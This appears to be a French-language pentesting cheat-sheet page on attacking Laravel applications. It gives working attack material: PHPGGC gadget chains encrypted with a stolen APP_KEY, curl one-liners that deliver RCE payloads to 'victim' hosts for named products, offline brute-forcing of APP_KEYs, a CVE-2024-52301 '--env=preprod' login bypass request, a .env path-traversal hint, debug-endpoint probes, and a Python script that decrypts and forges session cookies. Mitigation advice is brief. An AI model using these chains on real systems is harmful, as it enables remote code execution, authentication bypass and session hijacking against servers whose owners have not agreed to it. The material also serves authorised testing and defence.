Laravel

Reading time: 10 minutes

Laravel SQLInjection

Lire les informations à ce sujet ici : https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & Internes du chiffrement (Laravel \u003e=5.6)

Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en interne (Illuminate\\Encryption\\Encrypter). Le texte chiffré brut qui est finalement envoyé au client est le Base64 d'un objet JSON comme :

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) va serialize() le texte en clair par défaut, alors que decrypt($payload, $unserialize=true) va automatiquement unserialize() la valeur déchiffrée. Par conséquent, tout attaquant connaissant la clé secrète de 32 octets APP_KEY peut créer un objet PHP sérialisé chiffré et obtenir une RCE via les méthodes magiques (__wakeup, __destruct, …).

PoC minimal (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injectez la chaîne produite dans n'importe quel sink decrypt() vulnérable (route param, cookie, session, …).

laravel-crypto-killer 🧨

laravel-crypto-killer automatise l'ensemble du processus et ajoute un mode bruteforce pratique :

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Le script prend en charge de façon transparente les payloads CBC et GCM et régénère le champ HMAC/tag.

Schémas vulnérables réels

Le processus d'exploitation est toujours :

1. Obtenir ou brute-force le APP_KEY de 32 octets.
2. Construire une gadget chain avec PHPGGC (par exemple Laravel/RCE13, Laravel/RCE9 ou Laravel/RCE15).
3. Chiffrer le gadget sérialisé avec laravel_crypto_killer.py et le APP_KEY récupéré.
4. Envoyer le ciphertext au sink vulnérable decrypt() (paramètre de route, cookie, session …) pour déclencher RCE.

Ci-dessous, des one-liners concis démontrant le chemin d'attaque complet pour chaque CVE réel mentionné ci‑dessus :

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Mass APP_KEY discovery via cookie brute-force

Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (XSRF-TOKEN et habituellement laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts qui peuvent être attaqués hors ligne.

Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :

• Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
• Dataset May 2025 » 625 k tokens, 3.56 % keys cracked

• 1 000 serveurs encore vulnérables au legacy CVE-2018-15133 parce que les tokens contiennent directement des données sérialisées.

• Réutilisation massive des clés – les Top-10 APP_KEYs sont des valeurs par défaut codées en dur fournies avec des templates commerciaux Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

L'outil privé Go nounours pousse le throughput de bruteforce AES-CBC/GCM à ~1.5 billion tries/s, réduisant le craquage de l'ensemble du dataset à <2 minutes.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Lorsque register_argc_argv=On de PHP (typique sur de nombreuses distributions), PHP expose un tableau argv pour les requêtes HTTP dérivé de la query string. Les versions récentes de Laravel analysaient ces args “CLI-like” et respectaient --env=<value> à l'exécution. Cela permet de basculer l'environnement du framework pour la requête HTTP courante simplement en l'ajoutant à n'importe quelle URL :

• Vérification rapide :

• Visitez https://target/?--env=local ou toute chaîne et recherchez des changements dépendant de l'environnement (debug banners, footers, erreurs verbeuses). Si la chaîne est reflétée, l'override fonctionne.

• Exemple d'impact (logique métier faisant confiance à un env spécial) :

• Si l'app contient des branches comme if (app()->environment('preprod')) { /* bypass auth */ }, vous pouvez vous authentifier sans identifiants valides en envoyant le POST de login à :

• POST /login?--env=preprod

• Remarques :

• Fonctionne par requête, pas de persistance.

• Nécessite register_argc_argv=On et une version de Laravel vulnérable qui lit argv pour HTTP.

• Primitive utile pour faire apparaître des erreurs plus verbeuses dans des envs “debug” ou pour déclencher des chemins de code conditionnés par l'environnement.

• Atténuations :

• Désactiver register_argc_argv pour PHP-FPM/Apache.

• Mettre à jour Laravel pour ignorer argv sur les requêtes HTTP et supprimer toute hypothèse de confiance liée à app()->environment() dans les routes de production.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Astuces Laravel

Mode de débogage

Si Laravel est en mode de débogage vous pourrez accéder au code et aux données sensibles.
Par exemple http://127.0.0.1:8000/profiles:

Ceci est généralement nécessaire pour exploiter d'autres Laravel RCE CVEs.

Fingerprinting & endpoints dev exposés

Vérifications rapides pour identifier une stack Laravel et des outils dev dangereux exposés en production :

• /_ignition/health-check → Ignition présent (outil de debug utilisé par CVE-2021-3129). Si accessible sans authentification, l'application peut être en mode de débogage ou mal configurée.
• /_debugbar → assets Laravel Debugbar ; indique souvent le mode de débogage.
• /telescope → Laravel Telescope (moniteur dev). Si public, attendez‑vous à une large divulgation d'informations et à des actions possibles.
• /horizon → tableau de bord de la file d'attente ; divulgation de la version et parfois actions protégées par CSRF.
• X-Powered-By, les cookies XSRF-TOKEN et laravel_session, et les pages d'erreur Blade aident aussi au fingerprinting.

# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel enregistre l'APP qu'il utilise pour encrypt les cookies et autres identifiants dans un fichier appelé .env qui peut être accédé via un path traversal : /../.env

Laravel affichera aussi ces informations dans la debug page (qui apparaît quand Laravel détecte une erreur et que le debug est activé).

En utilisant le secret APP_KEY de Laravel, vous pouvez decrypt et re-encrypt les cookies :

Decrypt Cookie

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Vous trouverez des informations sur la vulnérabilité de désérialisation ici : https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Vous pouvez la tester et l'exploiter en utilisant https://github.com/kozmic/laravel-poc-CVE-2018-15133
Ou vous pouvez aussi l'exploiter avec metasploit : use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Une autre deserialization : https://github.com/ambionics/laravel-exploits

Références

• Laravel: APP_KEY leakage analysis (EN)
• Laravel : analyse de fuite d’APP_KEY (FR)
• laravel-crypto-killer
• PHPGGC – PHP Generic Gadget Chains
• CVE-2018-15133 write-up (WithSecure)
• CVE-2024-52301 advisory – Laravel argv env detection
• CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override
• 0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)